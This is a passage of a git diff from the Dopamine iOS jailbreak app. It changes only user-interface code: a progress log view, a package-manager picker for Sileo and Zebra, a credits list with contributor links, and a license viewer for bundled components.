b/Application/Dopamine/UI/Log/DOLyricsLogView.m @@ -7,12 +7,14 @@ #import "DOLyricsLogView.h" #import "DOProgressiveBlurView.h" +#import "DOGlobalAppearance.h" #define LOG_HEIGHT 40 @implementation DOLyricsLogView -- (id)init { +- (id)init +{ if (self = [super init]) { self.stackView = [[UIStackView alloc] init]; self.stackView.axis = UILayoutConstraintAxisVertical; @@ -22,7 +24,7 @@ - (id)init { [self addSubview:self.stackView]; [NSLayoutConstraint activateConstraints:@[ - [self.stackView.topAnchor constraintEqualToAnchor:self.bottomAnchor constant:-80], + [self.stackView.topAnchor constraintEqualToAnchor:self.bottomAnchor constant:[DOGlobalAppearance isHomeButtonDevice] ? -50 : -80], [self.stackView.leadingAnchor constraintEqualToAnchor:self.leadingAnchor constant:25], [self.stackView.trailingAnchor constraintEqualToAnchor:self.trailingAnchor constant:-25], ]]; @@ -38,13 +40,16 @@ - (id)init { [blurView.topAnchor constraintEqualToAnchor:self.topAnchor], [blurView.bottomAnchor constraintEqualToAnchor:self.bottomAnchor constant:-125], ]]; - + + _checkmarkImage = [UIImage systemImageNamed:@"checkmark" withConfiguration:[UIImageSymbolConfiguration configurationWithPointSize:19 weight:UIImageSymbolWeightRegular]]; + _exclamationMarkImage = [UIImage systemImageNamed:@"exclamationmark.circle" withConfiguration:[UIImageSymbolConfiguration configurationWithPointSize:19 weight:UIImageSymbolWeightRegular]]; + _unlockedImage = [UIImage systemImageNamed:@"lock.open" withConfiguration:[UIImageSymbolConfiguration configurationWithPointSize:19 weight:UIImageSymbolWeightRegular]]; } return self; } -- (void)showLog:(nonnull NSString *)log { - +- (void)showLog:(nonnull NSString *)log +{ if (![NSThread isMainThread]) { dispatch_async(dispatch_get_main_queue(), ^{ [self showLog:log]; @@ -54,7 +59,7 @@ - (void)showLog:(nonnull NSString *)log { [self.stackView.arrangedSubviews makeObjectsPerformSelector:@selector(setCompleted)]; - DOLyricsLogItemView *itemView = [[DOLyricsLogItemView alloc] initWithString:log]; + DOLyricsLogItemView *itemView = [[DOLyricsLogItemView alloc] initWithString:log completedImage:_checkmarkImage failedImage:_exclamationMarkImage successImage:_unlockedImage]; [self.stackView addArrangedSubview:itemView]; [NSLayoutConstraint activateConstraints:@[ @@ -70,7 +75,20 @@ - (void)showLog:(nonnull NSString *)log { }]; } -- (void)didComplete { +- (void)updateLog:(nonnull NSString *)log +{ + if (![NSThread isMainThread]) { + dispatch_async(dispatch_get_main_queue(), ^{ + [self updateLog:log]; + }); + return; + } + DOLyricsLogItemView *lastItemView = self.stackView.arrangedSubviews.lastObject; + lastItemView.label.text = log; +} + +- (void)didComplete +{ if (![NSThread isMainThread]) { dispatch_async(dispatch_get_main_queue(), ^{ [self didComplete]; diff --git a/Application/Dopamine/UI/Log/DOProgressiveBlurView.m b/Application/Dopamine/UI/Log/DOProgressiveBlurView.m index f0240ed81e..4454094d96 100644 --- a/Application/Dopamine/UI/Log/DOProgressiveBlurView.m +++ b/Application/Dopamine/UI/Log/DOProgressiveBlurView.m @@ -23,22 +23,30 @@ - (id)effectSettings { @end +@interface DOProgressiveBlurView () + +@property (retain) id variableBlur; + +@end + @implementation DOProgressiveBlurView - (instancetype)initWithGradientMask:(UIImage *)gradientMask maxBlurRadius:(CGFloat)maxBlurRadius { self = [super initWithEffect:[DOBlurEffect effectWithStyle:UIBlurEffectStyleRegular]]; if (self) { Class CAFilter = NSClassFromString(@"CAFilter"); - id variableBlur = [CAFilter performSelector:NSSelectorFromString(@"filterWithType:") withObject:@"variableBlur"]; - - CGImageRef gradientImageRef = gradientMask.CGImage; - [variableBlur setValue:@(maxBlurRadius) forKey:@"inputRadius"]; - [variableBlur setValue:(__bridge id)(gradientImageRef) forKey:@"inputMaskImage"]; - [variableBlur setValue:@YES forKey:@"inputNormalizeEdges"]; - - [self.subviews.firstObject.layer setValue:@[variableBlur] forKey:@"filters"]; + self.variableBlur = [CAFilter performSelector:NSSelectorFromString(@"filterWithType:") withObject:@"variableBlur"]; + [self.variableBlur setValue:@(maxBlurRadius) forKey:@"inputRadius"]; + [self.variableBlur setValue:(__bridge id)(gradientMask.CGImage) forKey:@"inputMaskImage"]; + [self.variableBlur setValue:@YES forKey:@"inputNormalizeEdges"]; } return self; } +-(void)layoutSubviews +{ + [super layoutSubviews]; + [self.subviews.firstObject.layer setValue:@[self.variableBlur] forKey:@"filters"]; +} + @end diff --git a/Application/Dopamine/UI/PkgManagers/DOAppSwitch.h b/Application/Dopamine/UI/PkgManagers/DOAppSwitch.h new file mode 100644 index 0000000000..01fe72f1e4 --- /dev/null +++ b/Application/Dopamine/UI/PkgManagers/DOAppSwitch.h @@ -0,0 +1,21 @@ +// +// DOAppSwitch.h +// Dopamine +// +// Created by tomt000 on 08/02/2024. +// + +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface DOAppSwitch : UIView + +@property (nonatomic, assign) BOOL selected; +@property (nonatomic) void (^onSwitch)(BOOL); + +-(id)initWithIcon:(UIImage *)icon title:(NSString *)title; + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/PkgManagers/DOAppSwitch.m b/Application/Dopamine/UI/PkgManagers/DOAppSwitch.m new file mode 100644 index 0000000000..ec0213eaa0 --- /dev/null +++ b/Application/Dopamine/UI/PkgManagers/DOAppSwitch.m @@ -0,0 +1,112 @@ +// +// DOAppSwitch.m +// Dopamine +// +// Created by tomt000 on 08/02/2024. +// + +#import "DOAppSwitch.h" + +@interface DOAppSwitch () + +@property (strong, nonatomic) UIImageView *iconView; +@property (strong, nonatomic) UIStackView *stackView; +@property (strong, nonatomic) UIImageView *selector; +@property (strong, nonatomic) UIImpactFeedbackGenerator *hapticGenerator; + + +@end + +#define TITLE_HEIGHT 40 +#define CIRCLE_SIZE 19 + +@implementation DOAppSwitch + +-(id)initWithIcon:(UIImage *)icon title:(NSString *)title { + self = [super init]; + if (self) { + self.hapticGenerator = [[UIImpactFeedbackGenerator alloc] initWithStyle:UIImpactFeedbackStyleLight]; + + self.iconView = [[UIImageView alloc] initWithImage:icon]; + self.iconView.layer.masksToBounds = YES; + self.iconView.contentMode = UIViewContentModeScaleAspectFill; + self.iconView.layer.cornerCurve = kCACornerCurveContinuous; + self.iconView.translatesAutoresizingMaskIntoConstraints = NO; + + [self addSubview:self.iconView]; + + [NSLayoutConstraint activateConstraints:@[ + [self.iconView.heightAnchor constraintEqualToAnchor:self.heightAnchor constant:-TITLE_HEIGHT], + [self.iconView.widthAnchor constraintEqualToAnchor:self.iconView.heightAnchor], + [self.iconView.centerXAnchor constraintEqualToAnchor:self.centerXAnchor], + [self.iconView.topAnchor constraintEqualToAnchor:self.topAnchor] + ]]; + + UIStackView *stackView = [[UIStackView alloc] init]; + stackView.axis = UILayoutConstraintAxisHorizontal; + stackView.alignment = UIStackViewAlignmentCenter; + stackView.spacing = 7; + stackView.translatesAutoresizingMaskIntoConstraints = NO; + + UILabel *label = [[UILabel alloc] init]; + label.text = title; + label.font = [UIFont systemFontOfSize:16 weight:UIFontWeightMedium]; + label.textColor = [UIColor colorWithWhite:1.0 alpha:1.0]; + + self.selector = [[UIImageView alloc] init]; + self.selector.translatesAutoresizingMaskIntoConstraints = NO; + + [stackView addArrangedSubview:label]; + [stackView addArrangedSubview:self.selector]; + + [self addSubview:stackView]; + + [NSLayoutConstraint activateConstraints:@[ + [stackView.centerXAnchor constraintEqualToAnchor:self.centerXAnchor], + [stackView.bottomAnchor constraintEqualToAnchor:self.bottomAnchor], + [stackView.heightAnchor constraintEqualToConstant:TITLE_HEIGHT], + [self.selector.widthAnchor constraintEqualToConstant:CIRCLE_SIZE], + [self.selector.heightAnchor constraintEqualToAnchor:label.heightAnchor] + ]]; + + [self setSelected:NO]; + } + return self; +} + +-(void)layoutSubviews { + [super layoutSubviews]; + self.iconView.layer.cornerRadius = (10.0 / 57.0) * self.iconView.bounds.size.width; +} + +-(void)setSelected:(BOOL)selected { + _selected = selected; + self.selector.image = selected ? [UIImage systemImageNamed:@"checkmark.circle.fill"] : [UIImage systemImageNamed:@"circle"]; + self.selector.tintColor = selected ? [UIColor whiteColor] : [UIColor colorWithWhite:1.0 alpha:0.5]; +} + +-(void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { + [super touchesBegan:touches withEvent:event]; + [self.hapticGenerator impactOccurred]; + self.iconView.alpha = 0.75; +} + +-(void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event { + [super touchesEnded:touches withEvent:event]; + [UIView animateWithDuration:0.2 animations:^{ + self.iconView.alpha = 1.0; + }]; + [self setSelected:!self.selected]; + if (self.onSwitch) { + self.onSwitch(self.selected); + } +} + +-(void)touchesCancelled:(NSSet *)touches withEvent:(UIEvent *)event { + [super touchesCancelled:touches withEvent:event]; + [UIView animateWithDuration:0.2 animations:^{ + self.iconView.alpha = 1.0; + }]; +} + +@end diff --git a/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerView.h b/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerView.h new file mode 100644 index 0000000000..7233526f2d --- /dev/null +++ b/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerView.h @@ -0,0 +1,18 @@ +// +// DOPkgManagerPickerView.h +// Dopamine +// +// Created by tomt000 on 08/02/2024. +// + +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface DOPkgManagerPickerView : UIView + +-(id)initWithCallback:(void (^)(BOOL))callback; + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerView.m b/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerView.m new file mode 100644 index 0000000000..eaecaecd66 --- /dev/null +++ b/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerView.m @@ -0,0 +1,121 @@ +// +// DOPkgManagerPickerView.m +// Dopamine +// +// Created by tomt000 on 08/02/2024. +// + +#import "DOPkgManagerPickerView.h" +#import "DOAppSwitch.h" +#import "DOUIManager.h" +#import "DOActionMenuButton.h" +#import "DOGlobalAppearance.h" + +@interface DOPkgManagerPickerView () + +@property (nonatomic, retain) DOActionMenuButton *continueAction; + +@end + +#define PADDING_BTN_CONTINUE 30 + +@implementation DOPkgManagerPickerView + +-(id)initWithCallback:(void (^)(BOOL))callback { + self = [super init]; + if (self) { + UIStackView *switchStack = [[UIStackView alloc] init]; + switchStack.axis = UILayoutConstraintAxisHorizontal; + switchStack.translatesAutoresizingMaskIntoConstraints = NO; + + [self addSubview:switchStack]; + + [NSLayoutConstraint activateConstraints:@[ + [switchStack.centerXAnchor constraintEqualToAnchor:self.centerXAnchor], + [switchStack.centerYAnchor constraintEqualToAnchor:self.centerYAnchor constant: -([DOGlobalAppearance isHomeButtonDevice] ? 0 : 10)] + ]]; + + NSArray *packageManagers = [[DOUIManager sharedInstance] availablePackageManagers]; + [packageManagers enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) { + NSDictionary *manager = (NSDictionary *)obj; + DOAppSwitch *appSwitch = [[DOAppSwitch alloc] initWithIcon:[UIImage imageNamed:manager[@"Icon"]] title:manager[@"Display Name"]]; + appSwitch.selected = [[[DOUIManager sharedInstance] enabledPackageManagerKeys] containsObject:manager[@"Key"]]; + appSwitch.onSwitch = ^(BOOL enabled) { + [[DOUIManager sharedInstance] setPackageManager:manager[@"Key"] enabled:enabled]; + [self updateButtonState]; + }; + + appSwitch.translatesAutoresizingMaskIntoConstraints = NO; + [switchStack addArrangedSubview:appSwitch]; + + [NSLayoutConstraint activateConstraints:@[ + [appSwitch.widthAnchor constraintEqualToConstant:110], + [appSwitch.heightAnchor constraintEqualToConstant:110] + ]]; + }]; + + + UILabel *title = [[UILabel alloc] init]; + title.text = DOLocalizedString(@"Status_Title_Select_Package_Managers"); + title.textColor = [UIColor whiteColor]; + title.font = [UIFont systemFontOfSize:24 weight:UIFontWeightMedium]; + title.textAlignment = NSTextAlignmentCenter; + title.translatesAutoresizingMaskIntoConstraints = NO; + + [self addSubview:title]; + + [NSLayoutConstraint activateConstraints:@[ + [title.centerXAnchor constraintEqualToAnchor:self.centerXAnchor], + [title.bottomAnchor constraintEqualToAnchor:switchStack.topAnchor constant:-30] + ]]; + + UILabel *tooltip = [[UILabel alloc] init]; + tooltip.text = DOLocalizedString(@"Select_Package_Managers_Install_Message"); + tooltip.textColor = [UIColor colorWithWhite:1.0 alpha:0.5]; + tooltip.font = [UIFont systemFontOfSize:14 weight:UIFontWeightRegular]; + tooltip.textAlignment = NSTextAlignmentCenter; + tooltip.numberOfLines = 3; + tooltip.translatesAutoresizingMaskIntoConstraints = NO; + + [self addSubview:tooltip]; + + [NSLayoutConstraint activateConstraints:@[ + [tooltip.centerXAnchor constraintEqualToAnchor:self.centerXAnchor], + [tooltip.topAnchor constraintEqualToAnchor:switchStack.bottomAnchor constant:15], + [tooltip.widthAnchor constraintEqualToAnchor:switchStack.widthAnchor multiplier:1.25] + ]]; + + self.continueAction = [DOActionMenuButton buttonWithAction:[UIAction actionWithTitle:DOLocalizedString(@"Continue") image:[UIImage systemImageNamed:@"arrow.right" withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]] identifier:@"continue" handler:^(__kindof UIAction * _Nonnull action) { + callback(TRUE); + }] chevron:NO]; + self.continueAction.layer.cornerRadius = 14.0; + self.continueAction.layer.cornerCurve = kCACornerCurveContinuous; + self.continueAction.contentHorizontalAlignment = UIControlContentHorizontalAlignmentCenter; + self.continueAction.translatesAutoresizingMaskIntoConstraints = NO; + + [self addSubview:self.continueAction]; + + + [NSLayoutConstraint activateConstraints:@[ + [self.continueAction.heightAnchor constraintEqualToConstant:50], + [self.continueAction.bottomAnchor constraintEqualToAnchor:self.bottomAnchor constant:-PADDING_BTN_CONTINUE - ([DOGlobalAppearance isHomeButtonDevice] ? 0 : 10)], + [self.continueAction.leadingAnchor constraintEqualToAnchor:self.leadingAnchor constant:PADDING_BTN_CONTINUE], + [self.continueAction.trailingAnchor constraintEqualToAnchor:self.trailingAnchor constant:-PADDING_BTN_CONTINUE] + ]]; + + + + [self updateButtonState]; + + } + return self; +} + +- (void)updateButtonState +{ + NSArray *selected = [[DOUIManager sharedInstance] enabledPackageManagerKeys]; + self.continueAction.enabled = selected.count > 0; + self.continueAction.backgroundColor = [UIColor colorWithWhite:1.0 alpha:selected.count > 0 ? 0.2 : 0.1]; +} + +@end diff --git a/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerViewController.h b/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerViewController.h new file mode 100644 index 0000000000..92dfb98fc4 --- /dev/null +++ b/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerViewController.h @@ -0,0 +1,16 @@ +// +// DOPkgManagerPickerViewController.h +// Dopamine +// +// Created by tomt000 on 11/02/2024. +// + +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface DOPkgManagerPickerViewController : UIViewController + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerViewController.m b/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerViewController.m new file mode 100644 index 0000000000..9d1b3186f8 --- /dev/null +++ b/Application/Dopamine/UI/PkgManagers/DOPkgManagerPickerViewController.m @@ -0,0 +1,40 @@ +// +// DOPkgManagerPickerViewController.m +// Dopamine +// +// Created by tomt000 on 11/02/2024. +// + +#import "DOPkgManagerPickerViewController.h" +#import "DOPkgManagerPickerView.h" +#import "DOEnvironmentManager.h" + + +@interface DOPkgManagerPickerViewController () + +@end + +@implementation DOPkgManagerPickerViewController + +- (void)viewDidLoad { + [super viewDidLoad]; + DOPkgManagerPickerView *picker = [[DOPkgManagerPickerView alloc] initWithCallback:^(BOOL success) { + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + [[DOEnvironmentManager sharedManager] reinstallPackageManagers]; + dispatch_async(dispatch_get_main_queue(), ^{ + [self.navigationController popViewControllerAnimated:YES]; + }); + }); + }]; + picker.translatesAutoresizingMaskIntoConstraints = NO; + [self.view addSubview:picker]; + [NSLayoutConstraint activateConstraints:@[ + [picker.leadingAnchor constraintEqualToAnchor:self.view.leadingAnchor], + [picker.trailingAnchor constraintEqualToAnchor:self.view.trailingAnchor], + [picker.topAnchor constraintEqualToAnchor:self.view.topAnchor], + [picker.bottomAnchor constraintEqualToAnchor:self.view.bottomAnchor] + ]]; +} + + +@end diff --git a/Application/Dopamine/UI/PkgManagers/PkgManagers.plist b/Application/Dopamine/UI/PkgManagers/PkgManagers.plist new file mode 100644 index 0000000000..acfeb6b3ad --- /dev/null +++ b/Application/Dopamine/UI/PkgManagers/PkgManagers.plist @@ -0,0 +1,26 @@ + + + + + + Display Name + Sileo + Key + org.coolstar.SileoStore + Icon + Sileo + Package + sileo.deb + + + Display Name + Zebra + Key + xyz.willy.Zebra + Icon + Zebra + Package + zebra.deb + + + diff --git a/Application/Dopamine/UI/Settings/Credits.plist b/Application/Dopamine/UI/Settings/Credits.plist index af958a3994..a5f4de12d1 100644 --- a/Application/Dopamine/UI/Settings/Credits.plist +++ b/Application/Dopamine/UI/Settings/Credits.plist @@ -9,50 +9,60 @@ PSGroupCell headerCellClass DOHeaderCell - title - Made by opa334, évelyne cell - PSGroupCell - headerCellClass + PSStaticTextCell + cellClass DOButtonCell title - Source Code + Credits_Button_Source_Code + buttonHeight + 44 key src image - filemenu.and.cursorarrow + filemenu.and.cursorarrow action openSourceCode cell - PSGroupCell - headerCellClass + PSStaticTextCell + cellClass DOButtonCell title - License + Credits_Button_Discord + buttonHeight + 44 key - license + discord image - checkmark.seal.fill + bubble.left.and.bubble.right.fill action - openLicense + openDiscord cell - PSGroupCell - headerCellClass + PSStaticTextCell + cellClass DOButtonCell title - Discord + Credits_Button_License + buttonHeight + 44 key - discord + license image - bubble.left.and.bubble.right.fill + newspaper action - openDiscord + openLicense + + + cell + PSGroupCell + label + Developers cell @@ -65,61 +75,205 @@ name opa334 link - https://apple.com + https://twitter.com/opa334dev + + + name + kok3shidoll + link + https://github.com/kok3shidoll + + + + + cell + PSGroupCell + label + UI and Design + + + cell + PSGroupCell + headerCellClass + DOCreditsCell + names + + + name + tomt000 + link + https://twitter.com/tomt000 + + + name + sourcelocation + link + https://twitter.com/sourceloc + + + name + xerus + link + https://twitter.com/xerusdesign + + + + + cell + PSGroupCell + label + Credits + + + cell + PSGroupCell + headerCellClass + DOCreditsCell + names + + + name + Fugu15 + link + https://github.com/pinauten/Fugu15 + + + name + Fugu15_Rootful + link + https://github.com/pinauten/Fugu15_Rootful + + + name + Linus Henze + link + https://twitter.com/LinusHenze + + + name + tihmstar + link + https://twitter.com/tihmstar + + + name + oct0xor + link + https://twitter.com/oct0xor + + + name + kucher1n + link + https://twitter.com/kucher1n + + + name + bzvr_ + link + https://twitter.com/bzvr_ + + + name + Op. Triangulation + link + https://www.youtube.com/watch?v=1f6YyH62jFE + + + name + felix-pb + link + https://github.com/felix-pb + + + name + John Aakerblom + link + https://twitter.com/jaakerblom + + + name + potmdehex + link + https://github.com/potmdehex + + + name + _simo36 + link + https://twitter.com/_simo36 + + + name + 0x7ff + link + https://github.com/0x7ff + + + name + évelyne + link + https://github.com/evelyneee + + + name + Alfie + link + https://twitter.com/alfiecg_dev name - Évelyne + Clarity link - https://apple.com + https://github.com/TheRealClarity name - longername + Dhinak G link - https://apple.com + https://twitter.com/dhinakg name - short + Capt Inc link - https://apple.com + https://github.com/captinc name - tiny + Nick Chan link - https://apple.com + https://github.com/asdfugil name - superlongname + Sam Bingner link - https://apple.com + https://github.com/sbingner name - lorem + Procursus link - https://apple.com + https://procursus.social/@team name - ipsum + roothideDev link - https://apple.com + https://twitter.com/roothideDev name - sidolor + Amy While link - https://apple.com + https://github.com/elihwyma name - yes + Adam Demasi link - https://apple.com + https://github.com/kirb diff --git a/Application/Dopamine/UI/Settings/DOCreditsViewController.m b/Application/Dopamine/UI/Settings/DOCreditsViewController.m index 57e2c686ca..c71b295508 100644 --- a/Application/Dopamine/UI/Settings/DOCreditsViewController.m +++ b/Application/Dopamine/UI/Settings/DOCreditsViewController.m @@ -6,6 +6,10 @@ // #import "DOCreditsViewController.h" +#import "DOLicenseViewController.h" +#import "DOUIManager.h" +#import "DOEnvironmentManager.h" +#import @interface DOCreditsViewController () @@ -13,15 +17,35 @@ @interface DOCreditsViewController () @implementation DOCreditsViewController -- (void)viewDidLoad { +- (void)viewDidLoad +{ [super viewDidLoad]; } -- (id)specifiers { +- (id)specifiers +{ if(_specifiers == nil) { _specifiers = [self loadSpecifiersFromPlistName:@"Credits" target:self]; + + PSSpecifier *headerSpecifier = _specifiers[0]; + [headerSpecifier setProperty:[NSString stringWithFormat:@"Dopamine %@ - %@", [DOEnvironmentManager sharedManager].appVersionDisplayString, DOLocalizedString(@"Menu_Credits_Title")] forKey:@"title"]; } return _specifiers; } +- (void)openSourceCode +{ + [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://github.com/opa334/Dopamine"] options:@{} completionHandler:nil]; +} + +- (void)openDiscord +{ + [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://discord.gg/jb"] options:@{} completionHandler:nil]; +} + +- (void)openLicense +{ + [self.navigationController pushViewController:[[DOLicenseViewController alloc] init] animated:YES]; +} + @end diff --git a/Application/Dopamine/UI/Settings/DOLicenseViewController.h b/Application/Dopamine/UI/Settings/DOLicenseViewController.h new file mode 100644 index 0000000000..7659fa1c44 --- /dev/null +++ b/Application/Dopamine/UI/Settings/DOLicenseViewController.h @@ -0,0 +1,16 @@ +// +// DOLicenseViewController.h +// Dopamine +// +// Created by tomt000 on 13/02/2024. +// + +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface DOLicenseViewController : UIViewController + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Settings/DOLicenseViewController.m b/Application/Dopamine/UI/Settings/DOLicenseViewController.m new file mode 100644 index 0000000000..e3da3c7409 --- /dev/null +++ b/Application/Dopamine/UI/Settings/DOLicenseViewController.m @@ -0,0 +1,207 @@ +// +// DOLicenseViewController.m +// Dopamine +// +// Created by tomt000 on 13/02/2024. +// + +#import "DOLicenseViewController.h" +#import "DOPSListController.h" +#import "DOPSListItemsController.h" +#import "DOUIManager.h" + +@interface DOLicenseViewController () + +@property (nonatomic, strong) UITextView *license; +@property (nonatomic, strong) UIScrollView *scrollView; +@property (nonatomic, assign) int selectedLicense; + +@property (nonatomic, strong) UIImpactFeedbackGenerator *impactGenerator; + +@end + +@implementation DOLicenseViewController + +- (void)viewDidLoad +{ + [super viewDidLoad]; + [DOPSListController setupViewControllerStyle:self]; + + UIView *header = [DOPSListItemsController makeHeader:DOLocalizedString(@"Credits_Button_License") withTarget:self]; + header.translatesAutoresizingMaskIntoConstraints = NO; + [self.view addSubview:header]; + + [NSLayoutConstraint activateConstraints:@[ + [header.topAnchor constraintEqualToAnchor:self.view.topAnchor constant:5], + [header.leadingAnchor constraintEqualToAnchor:self.view.leadingAnchor], + [header.trailingAnchor constraintEqualToAnchor:self.view.trailingAnchor], + [header.heightAnchor constraintEqualToConstant:70] + ]]; + + self.scrollView = [[UIScrollView alloc] init]; + self.scrollView.showsHorizontalScrollIndicator = NO; + self.scrollView.translatesAutoresizingMaskIntoConstraints = NO; + [self.view addSubview:self.scrollView]; + + [NSLayoutConstraint activateConstraints:@[ + [self.scrollView.topAnchor constraintEqualToAnchor:header.bottomAnchor], + [self.scrollView.leadingAnchor constraintEqualToAnchor:self.view.leadingAnchor constant:25], + [self.scrollView.trailingAnchor constraintEqualToAnchor:self.view.trailingAnchor], + [self.scrollView.heightAnchor constraintEqualToConstant:30] + ]]; + + [self setupLicenseButtons]; + + self.license = [[UITextView alloc] init]; + self.license.translatesAutoresizingMaskIntoConstraints = NO; + + [self.view addSubview:self.license]; + + [NSLayoutConstraint activateConstraints:@[ + [self.license.topAnchor constraintEqualToAnchor:self.scrollView.bottomAnchor constant:10], + [self.license.leadingAnchor constraintEqualToAnchor:self.view.leadingAnchor constant:20], + [self.license.trailingAnchor constraintEqualToAnchor:self.view.trailingAnchor constant:-20], + [self.license.bottomAnchor constraintEqualToAnchor:self.view.bottomAnchor constant:0] + ]]; + + self.license.editable = NO; + self.license.font = [UIFont systemFontOfSize:14]; + self.license.textColor = [UIColor whiteColor]; + self.license.backgroundColor = [UIColor clearColor]; + self.selectedLicense = 0; + + self.impactGenerator = [[UIImpactFeedbackGenerator alloc] initWithStyle:UIImpactFeedbackStyleLight]; +} + ++ (NSArray*)licenses +{ + return @[ + @{ + @"name": @"Dopamine", + @"file": @"LICENSE" + }, + @{ + @"name": @"kfd", + @"file": @"LICENSE_kfd" + }, + @{ + @"name": @"weightBufs", + @"file": @"LICENSE_weightBufs" + }, + @{ + @"name": @"libgrabkernel2", + @"file": @"LICENSE_libgrabkernel2" + }, + @{ + @"name": @"ElleKit", + @"file": @"LICENSE_ElleKit" + }, + @{ + @"name": @"Fugu15", + @"file": @"LICENSE_Fugu15" + }, + @{ + @"name": @"Fugu15_Rootful", + @"file": @"LICENSE_Fugu15_Rootful" + }, + @{ + @"name": @"libc", + @"file": @"LICENSE_libc" + }, + @{ + @"name": @"ChOma", + @"file": @"LICENSE_ChOma" + }, + @{ + @"name": @"XPF", + @"file": @"LICENSE_XPF" + }, + @{ + @"name": @"opainject", + @"file": @"LICENSE_opainject" + }, + @{ + @"name": @"plooshinit", + @"file": @"LICENSE_plooshinit" + }, + @{ + @"name": @"dimentio", + @"file": @"LICENSE_dimentio" + }, + @{ + @"name": @"Procursus", + @"file": @"LICENSE_Procursus" + }, + @{ + @"name": @"Sileo", + @"file": @"LICENSE_Sileo" + }, + @{ + @"name": @"Zebra", + @"file": @"LICENSE_Zebra" + }, + ]; +} + +- (void)setupLicenseButtons +{ + NSArray *licenses = [DOLicenseViewController licenses]; + + NSLayoutAnchor *lastAnchor = self.scrollView.leadingAnchor; + for (NSDictionary *license in licenses) + { + UIButton *button = [UIButton buttonWithType:UIButtonTypeSystem]; + [button setTitle:license[@"name"] forState:UIControlStateNormal]; + [button setTitleColor:[UIColor blackColor] forState:UIControlStateNormal]; + button.titleLabel.font = [UIFont systemFontOfSize:14 weight:UIFontWeightMedium]; + button.backgroundColor = [UIColor whiteColor]; + button.layer.cornerRadius = 8; + button.layer.cornerCurve = kCACornerCurveContinuous; + button.translatesAutoresizingMaskIntoConstraints = NO; + [button addTarget:self action:@selector(licenseButtonTapped:) forControlEvents:UIControlEventTouchUpInside]; + + [self.scrollView addSubview:button]; + + NSString *buttonTitle = license[@"name"]; + CGSize textSize = [buttonTitle sizeWithAttributes:@{NSFontAttributeName: button.titleLabel.font}]; + CGFloat buttonWidth = textSize.width + 20; + + BOOL isFirst = self.scrollView.leadingAnchor == lastAnchor; + + [NSLayoutConstraint activateConstraints: @[ + [button.centerYAnchor constraintEqualToAnchor:self.scrollView.centerYAnchor], + [button.heightAnchor constraintEqualToConstant:30], + [button.widthAnchor constraintEqualToConstant:buttonWidth], + [button.leadingAnchor constraintEqualToAnchor:lastAnchor constant:isFirst ? 0 : 5] + ]]; + + lastAnchor = button.trailingAnchor; + } + + [lastAnchor constraintEqualToAnchor:self.scrollView.trailingAnchor constant:-25].active = YES; +} + +- (void)licenseButtonTapped:(UIButton *)sender +{ + NSInteger index = [self.scrollView.subviews indexOfObject:sender]; + self.selectedLicense = (int)index; + [self.impactGenerator impactOccurred]; +} + + +- (void)setSelectedLicense:(int)selectedLicense +{ + _selectedLicense = selectedLicense; + self.license.text = [NSString stringWithContentsOfFile:[[NSBundle mainBundle] pathForResource:[DOLicenseViewController licenses][_selectedLicense][@"file"] ofType:@"md"] encoding:NSUTF8StringEncoding error:nil]; + [self.scrollView.subviews enumerateObjectsUsingBlock:^(UIView *view, NSUInteger idx, BOOL *stop) { + [view setAlpha:0.2]; + }]; + [[self.scrollView.subviews objectAtIndex:_selectedLicense] setAlpha:1.0]; +} + +- (void)dismiss +{ + [self.navigationController popViewControllerAnimated:YES]; +} + +@end diff --git a/Application/Dopamine/UI/Settings/DOPSListController.m b/Application/Dopamine/UI/Settings/DOPSListController.m deleted file mode 100644 index daa6bf53e0..0000000000 --- a/Application/Dopamine/UI/Settings/DOPSListController.m +++ /dev/null @@ -1,60 +0,0 @@ -// -// DOPSListController.m -// Dopamine -// -// Created by tomt000 on 26/01/2024. -// - -#import "DOPSListController.h" - -@interface DOPSListController () - -@end - -@implementation DOPSListController - -- (void)viewDidLoad { - [super viewDidLoad]; - - self.overrideUserInterfaceStyle = UIUserInterfaceStyleDark; - self.view.backgroundColor = [UIColor colorWithWhite:0.3 alpha:0.6]; - self.view.layer.cornerRadius = 16; - self.view.layer.masksToBounds = YES; - self.view.layer.cornerCurve = kCACornerCurveContinuous; - - [_table setSeparatorColor:[UIColor clearColor]]; - [_table setBackgroundColor:[UIColor clearColor]]; - - [UISwitch appearanceWhenContainedInInstancesOfClasses:@[[self class]]].onTintColor = [UIColor colorWithRed: 71.0/255.0 green: 169.0/255.0 blue: 135.0/255.0 alpha: 1.0]; -} - -- (void)setPreferenceValue:(id)value specifier:(PSSpecifier *)specifier { - [[NSUserDefaults standardUserDefaults] setObject:value forKey:[specifier propertyForKey:@"key"]]; - [[NSUserDefaults standardUserDefaults] synchronize]; -} - -- (id)readPreferenceValue:(PSSpecifier*)specifier { - id value = [[NSUserDefaults standardUserDefaults] objectForKey:[specifier propertyForKey:@"key"]]; - if (value == nil) - return [super readPreferenceValue:specifier]; - return value; -} - -- (void)tableView:(UITableView *)tableView willDisplayCell:(UITableViewCell *)cell forRowAtIndexPath:(NSIndexPath *)indexPath { - cell.backgroundColor = [UIColor clearColor]; -} - -- 